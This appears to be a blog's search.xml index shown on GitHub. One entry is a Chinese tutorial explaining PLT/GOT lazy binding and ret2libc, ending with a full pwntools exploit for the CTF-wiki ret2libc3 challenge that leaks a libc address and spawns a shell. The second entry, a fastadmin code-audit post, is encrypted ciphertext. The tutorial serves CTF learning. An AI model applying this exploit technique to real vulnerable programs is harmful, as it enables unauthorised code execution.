-
Notifications
You must be signed in to change notification settings - Fork 0
/
search.xml
98 lines (45 loc) · 79.1 KB
/
search.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>从plt到ret2libc</title>
<link href="/2024/12/01/%E4%BB%8Eplt%E5%88%B0ret2libc/"/>
<url>/2024/12/01/%E4%BB%8Eplt%E5%88%B0ret2libc/</url>
<content type="html"><![CDATA[<h1 id="从plt到ret2libc"><a href="#从plt到ret2libc" class="headerlink" title="从plt到ret2libc"></a>从plt到ret2libc</h1><p>最近开始学pwn了,别问为什么,问就是有这个需要。</p><p>记录一下学习ret2libc的全过程。</p><h2 id="动态链接、plt表和got表"><a href="#动态链接、plt表和got表" class="headerlink" title="动态链接、plt表和got表"></a>动态链接、plt表和got表</h2><p>动态链接是什么:众所周知,c语言中使用的很多函数是调用的一些库里的,比如stdio.h。那么在编译的时候就有两种选项了。一种是直接把库里对应函数的具体内容copy到怎们写的程序里来,这个叫静态链接。而动态链接则是在程序里面放一个类似于超链接的东西,等到程序执行到这里了,再去找这个函数的代码具体放在哪里了并进行执行。</p><p>而plt表和got表就是在这个过程中要用到的两个东西。</p><h3 id="plt表和got表"><a href="#plt表和got表" class="headerlink" title="plt表和got表"></a>plt表和got表</h3><p>首先,毋庸置疑的是,不管静态链接还是动态链接,在call的时候后面总要跟一个地址,静态链接的时候,call后面的地址直接就指向函数入口地址,动态链接则不然。他要通过一些编译器单独生成的几行代码再做跳转才能找到函数的入口地址。而用来存放这些单独生成的代码的表就叫做plt表。那么这些代码的具体内容是什么呢?可以简单认为是</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">jmp *func@got</span><br></pre></td></tr></table></figure><p>就是跳转到got表对应地址指向的位置。即got表是存放各个函数真实地址的位置,plt表中存放的代码会指引程序流跳转到那个地址指向的位置。</p><p>那么,这两个表是怎么生成的呢?只要代码一开始运行这两个表就已经确定好吗?答案是:plt表确实在编译结束后就确定了,但got表可不是。由于linux的延迟绑定机制,在首次调用函数时,还要进行一个“找”地址的工作,就是把函数的真实地址找到,然后填进got表里。</p><p>在了解他是怎么找的之前,先了解一下他是怎么判断我现在找没找到的呢?刚才咱们说plt的代码是</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">jmp *func@got</span><br></pre></td></tr></table></figure><p>这里面的门道就在于func@got的内容。在没有查找之前,这个地址的内容指向了一个公共的plt表,可以做到查找函数地址,而在查找之后,func@got的内容就会变成这个函数的实际地址了。</p><p>具体找的过程调用了一个_dl_runtime_resolve函数。函数的声明是这样的<code>_dl_runtime_resolve(link_map_obj, reloc_index)</code>第一个参数提供运行时的必要信息,而第二个参数则负责指明到底要找哪个函数。在call _dl_runtime_resolve之前,tls表中的代码会把刚才这两个参数入栈。</p><h2 id="ret2libc"><a href="#ret2libc" class="headerlink" title="ret2libc"></a>ret2libc</h2><p>有了这些知识,就可以开始构造ret2libc了。这是基本ROP中利用条件最少的一个。题目的可执行代码中有system(“/bin/sh”)可以直接ret2text,给了所有需要用到的gadgets可以ret2syscall,但是如果都没给就需要ret2libc了。当然,ret2libc的最终目的也是system(“/bin/sh”)。那么无非需要解决两个问题:1. system函数在哪?2. /bin/sh在哪(透着那么讲理)</p><p>一次解决这两个问题。怎么找到system函数?其实上边那一大堆都是在为了这里做铺垫。在通过_dl_runtime_resolve函数完成一个函数地址的查找后,就可以确定该程序的libc,进而确定system函数的地址。同时,libc上也有/bin/sh,因此两个问题一次解决了。但是由于找到system函数和/bin/sh已经需要一次栈溢出了,跳转到system还需要再溢出一次,因此咱们需要在第一次栈溢出之后ret回mian函数。</p><p>so how?</p><p>现在已知:如果知道了libc版本和一个函数的真实地址,那咱们就可以拿到system和/bin/sh的真实地址了。那现在的问题变成了:1.如何得到一个函数的真实地址?2.如何在一次执行中,对一个漏洞函数溢出两次。</p><p>这次得一个一个解决了。第一个问题比较容易。等到一个函数执行之后,就可以得到其got表的位置了。</p><p>第二个问题麻烦一些。咱们要从栈帧分配说起。众所周知:32位系统通过栈来传参。当咱们写了一行代码<code>func(arg1)</code>的时候,汇编代码的逻辑是这样的,在执行 call func 之前,系统会先把参数入栈,然后把返回地址入栈。在call之后,在func函数内,系统会将old ebp入栈。</p><p>咱们在进行栈溢出覆盖返回地址的时候,相当于只执行了call这一条指令,那么前面的参数和返回地址入栈就都是咱们可控且需要自行完成的内容了。因此在覆盖了返回地址之后,要继续覆盖返回地址和参数。这就可以解释ctf wiki上的ret2libc3的exp中的这一段</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">payload = flat([b'A' * 112, puts_plt, main, libc_start_main_got])</span><br></pre></td></tr></table></figure><p>为什么可以把main函数的真实地址泄漏,并且控制返回地址回到main函数。</p><p>好了,两个问题都解决了,咱们来看一下ret2libc3上完整的exp</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">#!/usr/bin/env python</span><br><span class="line">from pwn import *</span><br><span class="line">from LibcSearcher import LibcSearcher</span><br><span class="line">sh = process('./ret2libc3')</span><br><span class="line"></span><br><span class="line">ret2libc3 = ELF('./ret2libc3')</span><br><span class="line"></span><br><span class="line">puts_plt = ret2libc3.plt['puts']</span><br><span class="line">libc_start_main_got = ret2libc3.got['__libc_start_main']</span><br><span class="line">main = ret2libc3.symbols['main']</span><br><span class="line"></span><br><span class="line">print("leak libc_start_main_got addr and return to main again")</span><br><span class="line">payload = flat([b'A' * 112, puts_plt, main, libc_start_main_got])</span><br><span class="line">sh.sendlineafter(b'Can you find it !?', payload)</span><br><span class="line"></span><br><span class="line">print("get the related addr")</span><br><span class="line">libc_start_main_addr = u32(sh.recv()[0:4])</span><br><span class="line">libc = LibcSearcher('__libc_start_main', libc_start_main_addr)</span><br><span class="line">libcbase = libc_start_main_addr - libc.dump('__libc_start_main')</span><br><span class="line">system_addr = libcbase + libc.dump('system')</span><br><span class="line">binsh_addr = libcbase + libc.dump('str_bin_sh')</span><br><span class="line"></span><br><span class="line">print("get shell")</span><br><span class="line">payload = flat([b'A' * 104, system_addr, 0xdeadbeef, binsh_addr])</span><br><span class="line">sh.sendline(payload)</span><br><span class="line"></span><br><span class="line">sh.interactive()</span><br></pre></td></tr></table></figure><p>下一个问题:为什么非得把main函数的真实地址puts出去再recv回来?答曰:libc_start_main_got的内容是got表的地址,而把这个值作为puts的参数输出之后,得到的才是main真正的地址。相当于*libc_start_main_got。</p><p>后面就是计算基址,然后找用基础加system和binsh的偏移计算实际地址了。</p><p>好了就这样了,64位的exp后面再说吧。</p>]]></content>
</entry>
<entry>
<title>php代码审计初探,fastadmin代码审计记录</title>
<link href="/2024/10/24/php%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%88%9D%E6%8E%A2%EF%BC%8Cfastadmin%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E8%AE%B0%E5%BD%95/"/>
<url>/2024/10/24/php%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%88%9D%E6%8E%A2%EF%BC%8Cfastadmin%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E8%AE%B0%E5%BD%95/</url>
<content type="html"><![CDATA[<div class="hbe hbe-container" id="hexo-blog-encrypt" data-wpm="Oh, this is an invalid password. Check and try again, please." data-whm="OOPS, these decrypted content may changed, but you can still have a look."> <script id="hbeData" type="hbeData" data-hmacdigest="f6bacd4cd0a2c34737be52743eaf9a7130d465268f2b7480d07e8f04db2cc9f0">612c4be5af9d151fcef04674f16b7b1198a220535dec485ecb4a46c76ef283134b787e4d633a14fa3a86bcb4042e22650a3f6ef5848a81d084488b027fa723c8ee052c73360da8806b5c1eab58a2d3dbe0c156eebebc0a9da7e863f117a734fc642315a990bb0cd71bccaf781458e529295b0d5718b55aad779c9c54cb0017c157242c7e987de9a1aca3006fb1f90dafb6e9678c297218f6d79978e50dbb07e28f637f9dfcb5db738b427d7ca22c14d7f3b4c5b633ffd3a94ebe40fa5af7fa8f3ce94efa02eb649ed0017984d2cdc6a5a054bfaf0a48f25edfa22b8dc6223667133d5cb2eca4f70843077d806f4da457c801393f339cb76e1115998cde6658749c8c03ee96010fc9c5a4f37b76a9a2c754ae109b906ca803c62bf54fd7bed17a0c1f1e66d1171ab88522536540b40fa907dac2a61b450c2165215e88db1f490578c984054c029b672f3f08aba5b898df61df3ae47b3984e63cf9a866f2e822a02268e768378444e9a58faad26434ab647a70f6b02257646c671cf42bf85463346373c1218f03de22779f2322f4b9a538acf8e9a86d498ec186ae785028a6e04c7d29bf118e7a188588be406515e74955a1a5e088dd011c522332ec089680d1488f41f3f7f2b06f5be1d077322980a6a1295d572aa3e357af6d2cfcc962ff4aaf47465d00e8fe59b38df5507445ebcd5e225aa5797679ee554788cca4f3723c7d14f185ca7a7ac1e44ab6a2dc07d79763d6e3ba241173ec67f3f547f1f2af003ca570d0c3e025ed3c6da007af2ca36474c66d355ae1d10199bbea69136cb29e4a13353cec070b3092b62ae040ff5745476b3e2c98dc4dc285fef2289d2ea2297fe4c4a6bf69dfa07fabb301725c18375cddb6e7301da00096d2581c83f2181dde307be66f49a79b60ed3f6e6fd00385ae52e5112e669c23a6114ceea54b4e0d35e870e21ddd870a23f627c125ac04d611080267d694df7b6829855eb5180b47a0f4c65cf57b4f0238f518b5e58d3858122dbd8769fd84715dcb22b33e7027a2c5f694b7739c1216aa002eacb1f88b4f477b8cf3d3cf5fd8c675902af0b08999b1d8f755798305ae70d54d2a92c706d8a969bc77732e5cc504e4c22f2200861cff26c2a6da217364821220a985f76c204867a13bfad497d8ec4da38de0270af1ad5d21e914d0bcc3495214dd9eea19762c7ae2d5f1b23ab65efa4eae46b9484ec0e748a6ab063e22f1c2d8a23efda245f6ce075384529fa7763a8037f7a111dea8487cde527aa263685e2addc34fc229bad9af02fd9c909b096318d61f12162ea9b3832e8e876f4432204cd51227e528b9c7adb7f5ba0d31423e035ae3460e1bfafdb30439506d91b59e7439200a6e9b00db60adb138a59ee3a11f34abf76b8207296e2ea7af1e5860ad4f5c97189bceb3b0569cc595c74d3d4d480b58aa42855a03973e2dbe131cbc52b4e2e86ff8d3a7feb713005ed96dcdbe8352b80b3cde105807f62662672205bea7abeb3126ee8c87f9b3b1f441e10b47e216462651c7e97274b19153778262b5d2706733ab982b6fe4ae14889afc79a9b10fe8bf2ab29bb524dfd5ad0ac17a38a4d17870e1dfdca2ca89541cbfa95eadbad2cfb35c9e710b1da7076a8e005e6bf68df18b9b8c76351db331090a171480b72cca60ffa3fb72c78dad72fc0a910d749426ede9b45179dc7b6b775d2ce76db0bac351395b0dcd5344fa8bcc78e2196616d11ecc451c2248050aa9efef562f3efdf3e4313968554f30a443daa75155b672f76d5be611cead2057927fd58b920ac13259ef45fbee7f3d824b2e2f65e33a376542d56b82b8ea8fb1766f1089f8856b5ffc880c63ed5423ce44c4fae56e9fd9fd5f1a880780cece03dd31a36eb1a421b47654ae9f06cbd25ded19822e2a9f143abbf34c2d2323c3e805f2980308a42da54ccad7a9c1886f969bc623d63d8a7b1ecd2a1bbe73012f8071b73f05b8c332cb190b1a854e1c8c23b9b9d76182b957d4d9108fcb9aae55c67c6d9a593331dcf919091d392a73ec06d3d8187ebb2e938f355747f47269e0fb22f1ee1b8111a2e3ea63bb3104cc364e6a6663ec1ffc1eaf2061ffb67541e9885b690ff6091e45c9291098228e983284571970ce28555b09ac17ec529b9a29b641f78d06cdc9e3a102b694270f6a24c3a82d92894b2e24a7d7135c62c280394f8b963cab09647a68e65582543997f03f993e4b3012672d847d0921d59b83d6acab110b49d1bf87b5221e4ebeae4cff3c2fcb52f9f1a90384db19ee96f139d260490da0d1a48fc743abca1a465649aefdde4b01378d1fb68ab3e2c28888affe13b17c825713620b4fc99c01c1a803be1b8768b8d8fb146b5ab70c79592aac55e7ea89333b8b22a2a9a9d7593e51835fbd8c5a713addea2590e3787c493a71905ba2e5b0a2d858ba33cf0b4178a72637ab8b612cd4d5e3bc0287665051d55513794415acc758f06a741d16abf7ac26eae938966ae7d1716252b90badb8b3dbf0dfba4e01bfc956c817f2c7454a26796011baba81afd65cbccb3e6b89fb2b70a77a2a42af2f7a6683b3a57aed643da74e7620d30e6f72b8c47089b62063680b1e7b4ebd4bf2a5de19c16e213d6b21e092dbcf4ff8e57e7283bb667b625192dd70efd6664d1076b49fec22aa27b2a09d6a9d110cc0d7ca7ca717299bb4a78c67bef75a65db70d4b8abf5ba4ab283b271f733e26aa8f98667061ea51ea8bcad9a161bae242b85d3ece52bfc15cffc31153bca00087c46efa36e3b18d0ba3f8ffa7e71ffafc28cf519b30aeebec70a964a07104e7e84ce9c9b35a9aca001c206e60c34d8418a184da6b27212de30f7901c87f9eb19a9bde470d4cadd104b3c97c393ca334587916eb188fd05ac631760426a08d3bb955bd01490273c5405ff04d285d4807f23f75388d2f9bf27097dd9a67f190bd3c351734e96c5ebc6494c8a400eb0c0241f8b04ee533947afc84c5f32939bf26e89342e604a7fa970ea956c8e12e0f13257194d736d969773297363d16415ee2c106f9cfae4911393132b4a5ec148d29b1f8310024ec8ae39fcfa877df95048590897fd1328b8938f4fdb97fec4fadd001131b7a3dc4f8e915e88873aac321b045916dc3a4b5db55bb41c333b3e195d9dc08a99b8fb4f727208ed9e69bad5d282dbc7ebdcdca1a5a60314566cee4456aa0b5e05ef0e6c347014a1525ad3d52a40da315a2616bf2837bfb7db5528dcb8aba27cecc8f1e484b7f7e2877df6bc29963635c1feb3a09e31eb9cddb096f8eaeb65208c065037f8e7ed5633f14ffe88f231e10f07f62ef5b163d348f8340a4c7161de2d39931c038baf30e7f54f2fdf22ac3eb6f91e525de9e98a171bb510e581de11098e66b3a9e66e279396f2d7d3e3f6e72e19c53aa36be9a9a810cdbcc5225bc92ea7a1f304c780f6e04a90362fc15ed132b8e6658cc4df7b3850e3b3c848b7658f99d223d354953d341ed7db265726ca2d8b3888f22db8db59d4661f6cb23918296b3aaaa3b1b925281eb01108643ea4c002b43ecf5260946f0c27dd117fa0fbfb80adc40100528f849c391f0869c75241b5a96915ed519336c1ab1da89659376157ee68e0621a7dedd2a719e1336313fda99f2ffe8874a2cc46d34d9293798317442cd573c7dfd2a743677e2175dfe8c36c46ef26ceb6843bb99027ebc534df652528dd3c2d6b5f51ef26a48964bfae9cb0490a44d25b307906e3e4b1712569676d09b083072217083a1626f221ff2bf451279d6d944f0534a4fb11b55575a012b030b3c9535b506b91050447372ec5b8611285b075269e90cc96d7bdd9331a2cb904f1e28466aade1310df904e8073dcfe2dc2519390488c07d8195453818d4bebb1ded9fe80945aae313dd886767dd0088a87b30e6dec2aad8018c12e1bcc32aca20d051e14b5d9808f071f7fd2dd1eb480be25b244813c3f8a07f5f6ae9c80b068a0cca5512e9288fd90eab46a373223f0a51af0f17b8bb7f6d854c54fd2114e6844f3aeaf4c8e3e3b0ed643dab9e817625653554ff344fbc9f73b3728a819535c6ab556a90456a3323fe5ca42bd06a8e0eee42f285d447812b90c93dcc52b1edc511905ae17c8297aa25a9ea2a6a97033d03fd618f1f2650520709beca89fd5417b937667b4e3f90dd76914dda797c32e808816de292a5b41978b3ae08f30985578c3552df159fa40203addd014b171db2855512cac431b48699f8f3a5da921232b8d14df4734a04084786c3d9af633228dbfca54ae037c3603f4a26f0cd2aa847333a08a94cc981222e2be2b2b27f54691c4c1edc28671d6089884ee06627edf476c6ca4319944833680efc488b250989886a0fe89f8540af3b8fe892c808448355b2c817bf7be547bbc2424cd14883b231031c24366ed752c1e3a1f56c6fc3b2c71f8e8602f41df938b132955105fc58e0a5940503dbac72324e0b04cc1ce5e827dd72ab3776ed9def27c4ca07199a4932d7e9f04c2633dcf3819703b186a164c65846b3b86e105616095cda070d10ba9f5c6b57d7a517020f0f8a9c3bafbdf69bb9a688a1dfc19473aa017dee380d6841951353db0f2efdccd9be0ad64ec863a0ff45ed6f6a6a85761d3b287be7f0ac1b3a56acd4ec1daaf30987d135939073f15644cf4f6f00172be9d01031fec33d7d490372218a752f3b535e446f0ce249550cbcddb8ea076b75e48e2c78bd670eb6bc2121617c61f5900ad7203e1424d54ea76f3877ab11fa8de4bb36d2175d9b039a9bd421fa6c44f9d8f805572f3a20f54623908d4de323586aaf235f9499b219e5339b51b32328386d9b7fec200b0ce7f4ec6585ddf12aaaab7ec6c093721b4c1ade771c4ea50b72962f169425e1e7ee0eee47ea3295542e05ed7569ee28dcf982ab49de6f83f019c41cb44c3dae9294dca1b7bf1ff3f2468d9808a643a4ee1a6d91d58da7669abf764169e8861f93223e5c4f000b846da6f4c129ade2974f38f58a4499c23894472f5c732159372cb1b051ddeaf95ad879a816c9ee5908b61594d05273c4097da4991b82417d41e05b1db1fc3d077a4b905c8d556a25a7d9059e29804bf3222216d94a0eb0f7d2dcdbb856ac40d7a59fc43942b8c02f7bc0767cfbe23d83d043a279318699927d65b6c0fcb56d742c2ec252bb11f980246583a8a9a99daedba70c4db2bdad11a91f52f681bb99b5b8613c4da04a92ea1d2ed7547f157bdfee86f3494398eacbcd51505988e447f752c4e3c3a1cd510cff87b9e121580193d6ca7a544cc6323c80f185a54ed4f11e47882cd9d04296c0eada78eeb8c54b28e0c2d082b26e05f0423368248c017dd8705fe21b1e41ad32f259634554a416e4ba50b443f75ed6b0e76ca4f91cb31cc211daa6527166bf86067c8483769ea020b0f10c021d60a52fe7e852d9e4dd9746b4d4ec22913de138166edf1055480978f4e9b62d52eb89ac5a8eed46b2a7f4e75a7c3f9101fdcb697a2c286ced411006655c577e7a43adb43678b924347c02dd8b359d0d98ea4b502d92c19c8243b26c22a7257b1a051f1aee736dea5e6f66a292beb94dfc7b03e42044245d14b981d766909741ba0d2b6d68ded04be722602ab8a45740f850f922ed993e6976d1cc7e627eeaf9dec3e210452b5195e5473c46723daed1f0c02f65dec6ec98bd04d4e6ba8f280808bd52048a32285694f36b8b8f6f9f6adeee908abb936e9dbf8b0b9a95e1885b3bc407eb8fe4fd9919d7fdf82e16afffca735c6fd0beff7c9d80104e3e4f547ee9db414fb7be2fa00416752fc99b91ae8be8e7b52f6b508ce555be9e0b0c803686f611933c498ddb7b2db9df069950c5c41eea904c9883730c8f27612f592141c42a887f69a3b6bbba6fda61a45ba9404e8f1541e332fc8309921de1a0f76f5a765bc2e44e96a65910c97f06a71e4a29f5592158e83655c4f48f55fded0cbd75d9d978d599e195e9f9dcd47f17cc08800e5eb34cc07596692631cb344943e3512b6718901385a93cc02b7e50a8011502808919c26e717129c9b19181815eaf6cc8117834b7d12fbeedc262ab126786029817e26b4a01b7711a9719ffccca43b6e73869aed141e6ed0b5a9f85a058c659fbb9244f801fa6a6c938cbaaecd9197c8bff2123f545fac69b4745cf92c2502a8782d2bbdf11d7e26de9ae00b2923786f62e9e02ad66003f0f1e903e3ddae004849174f78c6cebf9dbccb4b610a7fabc886b42bb008876d4c8ca7e1c71846398a2bdd30d5fdc727424d1ed436a4fab60deb7b11a31758ad156914e6bb9c3c0df47a950abdd38265d418d9e1b5307d4974c2d949f651435041809dec39098781aa53bdd4815b28460b766d9b09f6905b4a310f810a29e602c9bb5349162966014db6e2a013a814266b6b13c6c569ff2ea23ef05d7e57536f474b561521d2565558b073db28996c226cb1d7eff84f9268505663efd86970d06da55bccee2fe2bf8d495769c067107701f821a18428e8db194e78291fb02adb03ea945901ba5dc9a3bbaf231c35f9cc633a8ba158d21a38a2385a91c5948d5e77510f3fa78dfcaab41ce40800646d37bc98f301c8c3210f304d12c652121367c2e658576cb0684fd629070e1037042a757befcfcdcfb4ef3778799dae031f1dec8caed5763695b218615dca3bbfc42d51f822511eeae134457115cad9892f71f5deada9b597b16f68e9eb23b1588909428d5b9620484b7e48f6273a2f6840c383de7b38a2461bdc728fbc14596be62c2e13e5249b0d8cb37313c5faf5be11e38be2e419b62b9d88f5899792ac3433928753727d7fe6871f02d66545025276b106b40d9f1333e93a0a7b83c536fae2da8672f9827800bb73c10a611e57ec19e1aa633da0667721b79b83d99673e8062e186e2bc67b5c842b30099646e9203bdc394dd5fc71fb296f160e277028ce0d92206de80bc33192c99d5e8ca16bf06360f7eea56323a068cb17d268f27bd0ede1ae02fe39cdcbace1c91545f60f5cf5c0896257e21e416e809a09e9d099dadd7fe0ad5957ee9e7d34e99b8a76d924644fa0aa4abbe62987c4772dc4ebad68ee20eb1c3e684689277a4e77048086fdfd3dfa7d846246af2ef25c062101acc0d798c93303db8d6ab1f629588f64fe5919394360ab2c33eff9084b53f7c293fd96fc8c40f60dc2062b09b6bee214c7a7b0fef2b6ca9677b292c5a451029a2318cc6a1158ed4d815d7a7b3a4a0050727127223ced1c13d91bfedaeada8d2c7e5c0b32d039afd92d810f0754d8fa6806745008b9b43b4ccf96e695be49e7a56f22fa368f848db8dc15ed92758e5069100ba7241047a4d1ac3b93785b2d00b5a1ab98b41005522b9f0b219d3195966249abe42dd2c569d109790ef044e53351ed62924769ec19254fa364b9625ff66d92c5f73d62c3b4d66eb576e4c77a73d1b4fe6e2d21c1783a7b6370abbf56be0f95671128690531c78436b6ecebbbc481c270c1417a8d73817a40c1847cdd74a38115a97e22d90e5242a1c1dd38cbe63042d62ee4b12441d3d89737cd3bad258152e5d071a9576b3276df0f8144f4008ebbba4eb8a4994fb3955e334fc92a4dacdcec909322a69ffd7b4ab5e23ed7a07f4cb4100e6d9fb9eae3af6b19853c15b7e887bbbdfbaf00fce9962baf7ed612d1e736725011696b791ce49c2f312df291b790db7266fd0a899764229215d445b97177425b506e79bb8ff5c942609b327cfad416771ea88ff0bf95becafe8cbfc788b2fbb7a5bb40688d4b97e7041b622e1b11ab18de18ab489fdfb1d3a40eb98362e832eb101d9c77121f5bf61fde995080639436cb7d20b31446ad5586ca2767dfb2a69e7a32e4f316232c254e3372684f0a71e84bcb4d649a66e843fd4962c27c0acecdbbbf09c00b44843e7f389dc281f9ff05814462159abb46c0081f4065ce0f720ee6559bd96a4777d17c8b3809a8d46b47fed2a5a7548681754234b0078b5c605a10a006dca8ace8628714448384f003c048c3bf9f8bd4835bead81384d1c0a3e9b38b3226574183b08d9e18f6d3a0cf5375b19c4ebbeedc45cc528c6f1c707ed9fe4446506f0642c6fbd52ed5e4686d501a47ce2494735fc712a9099e36826b5e311f31903891c30cf6750bd822bdc950d79dd3cc9a32da8a2c54311d77c4055800cfc941c34a46c953f8ddcfb39bfc9442a5fe69849ae5cf998c5f869a3058e262a2f5a85e7cf5ca7e3a275b53a16371179efc9c3face0a58540194f0946ec9ec491aa7a09c89564eabe73d8319fcd5225a756e59b8c9c11c50356b4162f1a35f937f4cd6c526d23da7ec6a3f1084a001825dd8d3ac4b41814eaeebc1e591b4eb28046216d48f842a3b3eed9c7800b5200900ea9be77f5fbd7c15cb7333674a18b170297dfa8e2d59d520389074e78d4ecb779e279ad5101ebade98981d63410a145c9621108acb5c0e9eec7818ac507cfc1c28940c17ed85c8f652f4525552f0d5f5e4277c507d66297c08d76145b90fdd73323f4f8f807a3fce11e1ec48a29fe487368aaa6dffaddbfaa929df0e891671bf656bd3e4d09fd7cadd377670d40d4de4a9dee2a8dadffcf92eb3d031406759700494a61153c0698c01a3b4f920f92164af2c31316608a0a32b617c07c8fa70e74e1f2b0f1f48c465d7420c16926aa45be4658a8949a7be00641e2803fe8a6e0a4e4f6cbae152ca68355501d7d2b61f9555bfc72a9695896fa655b20d9c904674770de5730ffc96d90b1281b79e2e582a1fb4eb059eb3214a111f2dbb7bd7aec66ced77833f8b6c8e5f9e9751f8e8c7c2b9b99a334fab239515b6dfc5bd43b611637d802e37276ae15f0ba4171a07d6403605bbfbeb07b3092a9fa1572d422d613b06a9d064fad8e29d70402d54296b516723a7d468557a0584c8dc2abb34253ff554d2225b8bf022baa6f95a6330572ef7c16b5da57a227006f7e627a7f7d42033cc12851f3b2c2f80588f1a7eb6d47cb9e5e6da1227501038daa9c8ce733ea30f5c11b8ffaaebf6ad83e56795bdc039db812f32c7b42c6a23db3db63e3011cf1956f77961a7765e46ac5172991ae424c82094595950dd9ecb3dbf2739a914dbeff2c5e75df0668bdee16210e8b3de26967e36f0f43ac39d386d54591e597406978d929ac2f567b581a5c3a4d62c2d834c2aeb7ebe3b93d44b482c4fbe3e18c1fe119fd446bf6639507a4f596979ef3d29d37e91cc8eff67ec7eeb58a57c516335aa0fd03a1445d29e63cf164bd4af0a180a79165863bb43ce22eee4537c549347a336de06ed022575d359d268279211aee3feebaf6b69d9e27140f806e47d20118cf1b37c240d9d8e8d74bdd5138efe5d4e2b738c8381cb3e30e1de932eab2e465a8e9dc8afa709868c8bc749336829bde1260cd7e5abfc8e1a242e98cf77a40ae6fac419f6bea154cfb4dd729c99fce9d2bd749278e92f023246af61b0283c01e146296c883e951caaac89ac00e11d132ca9b039bbd0af6bee2b86e4949dcc98b92f690ec7061247ea5c20c64323e9f46ba414d118d3815c76e5f604b0d4c73ad55d39acde89339df55a949ced9bb0a14839974984b2ad4db7f43dffa484bd197b5adf1038231c170abbe6c3d24dc55bec4395c6423436480f71541dffde3df97a39edada3fe526fdf44bf588259b6a8672a49612c8edfacf379b10e77c1e80219b599f6f1c4a11fc7ceb4069f0f2010696256b48990ccec094bf03141eea44c513e20db844d7ee13d0f01429f64df6f07dbfb7c55b2979f4a4701c5565a9bd66e954c205efefe974acfc4b91135a4610a7bf1fa7f8feab58348219077ad3dbb84dc21f378acb34e5d70885ed2b1fb448ccc0fb49da6b47ccfa874d201b6de12c31dbc3ba7aeb0b92a0e2a534269137210b779c1b3c611ddebe72267c8865e65159dd944078a40babf45265ff123c915617f67a1c8882d09c639e68448c1e5e108ff85d264b29a1a06f4c038dc5c1f41d917738bafffce2dd7e5afaee3ece08d114c961d6e75a479bb6e1d85cd89454b2c2afcb452575a696e02371a85092ff82006eb9ab4f09959e8f82187bb410d3b5f21ca9d78c21396c1a4ae5601accb5844617913482659acabc4c3fb047e4f30c86a2d87452f2974491d858a4f2e968bf2a08eda0186dadbf417211e8427495729f91a242d016132e3c1ad2c8284a414755757f158b9c67d30269a1c12b86def941ed3ded81acdf98e52b872f6c198d0a41ff9c6fb583dc27729766b73bc45b387f25f7efe9937641999634f27f667f6bf96bc5ce8ad69cd3c257a8245c32405f85b9f3a72bf5dda9f0e043203e3c1367a9c8aef7def68b6684c5252d364ce1a021d56507f1b96af09083b4a4cff431087ab396c7bf469316fca4cf62dd8ead734bc81abadc1fbfc9816a08661ebf720259f09258baa51f5dd23d424be330c2ee0812dd52221bc2cfaaa9261c60e0b8dfe353093be3b86df8eb8b408707266a786c218679b2d07a990f10f59fc3cdd01a2b36bb16fa8e4ca0b7650a01ff38ce0f22dd1a8ae6c02530508a5b5e3b399992ca4146a016dbd17cfbafed247455839ab8a9836f1eabd1a449a5bdf611dcbac30eadf42c83d5cb72df815b007b70fd175622a0d0a02f3cff4dc9b07cd002161ac19fde58d968b5afadebeda5025782716c3a03588ac36cbe83f1fb85848339d41259203f4f422e1a231e677c44c3c0161af7c0981e872c6d721d61c8723264678b8038d21ab9cfdb49c2d2ea04c39bf9bd15184b06328ae3e96e3378d1961c7761f631c601e6619c6fb40bc3bb7e67f45f8fe13502f2b3da685113e131679901fa68821cb60a08c178a1febf4482337d19f9d29c11fa780cc66f967d8e6234b20953b872b554cab04e3dc8113e2f1c2b6441d5654556aef6d7eddc203e9b99aee801e6c5a7de656df693fbad1c3287cbd424e72b6c3a01ef95a8cf6ff2e462dcb8e3e05d1702b2c59ccb3a97bf877fb9d58aa530a1c352c9b932139a15018fd5108081d97fc580dbedef2202bfc365296f160cad89b76e082726ada16ea89b2b495ab203f97a08126ea097b861384b88de5746eb471cc2f4d250e29aa0bcfad1a9e74c2d53e03209760087c16f08b44b727a5042c7bc27920d6ec5f163bb86e5e7ab47974d58688e3ae2b5f4579a42f8e41989bd5dc82ef0e103d3b4a82bae8b43d50364c4945d1e16f41fe7ad71518ae7c1d2a13d63f8353f9e2b958858beb45bf014892088b1f96f54c7e9c095e74f54d6ee6eab03c4af1ff387c2c4be5dd59a4d1b055f6a782fc9068fe1c24d6c68a0b1f9c83dc9db4aafb3c3c0c3f8e305cf2cd343f2cb605ea80e0a98681fc0222138d0da275ae421f90999abf47ff30da4462e8f1713bab72eb08d29d140189d89a419c3fe24a7ccbbe42e2cd48a9e8d3fde1fbda022b91f16a0592664184655436eedd0aad136ea26caf2be7aa90dbaa98ef7410712c067d6b9002f4f93f433d57a7510320c4d86a88cce0a1b20b0fe439e6d804fbef6b6d9ed1194904aaba8dbd4c9d7989c40afd0b15db4316ab6cd2d71a285b39ee73b8bd7b9ba92ffc7d8ebe173c2b684180c042aa9b7b2d698dbcb1e5480fd0cbe0c86d1169051d12bb1c